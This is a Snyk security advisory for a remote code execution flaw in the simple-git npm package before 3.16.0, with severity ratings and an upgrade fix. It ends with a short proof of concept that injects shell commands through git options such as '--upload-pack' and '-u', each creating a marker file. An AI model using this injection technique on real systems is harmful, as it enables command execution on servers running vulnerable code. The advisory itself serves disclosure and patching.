Remote Code Execution (RCE) Affecting simple-git package, versions <3.16.0


0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High

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  • Snyk ID SNYK-JS-SIMPLEGIT-3177391
  • published 23 Jan 2023
  • disclosed 20 Dec 2022
  • credit Santos Gallegos

How to fix?

Upgrade simple-git to version 3.16.0 or higher.

Overview

simple-git is a light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization. This vulnerability exists due to an incomplete fix of CVE-2022-25912.

PoC

const simpleGit = require('simple-git');
let git = simpleGit();
git.clone('-u touch /tmp/pwn', 'file:///tmp/zero12');
git.pull('--upload-pack=touch /tmp/pwn0', 'master');
git.push('--receive-pack=touch /tmp/pwn1', 'master');
git.listRemote(['--upload-pack=touch /tmp/pwn2', 'main']);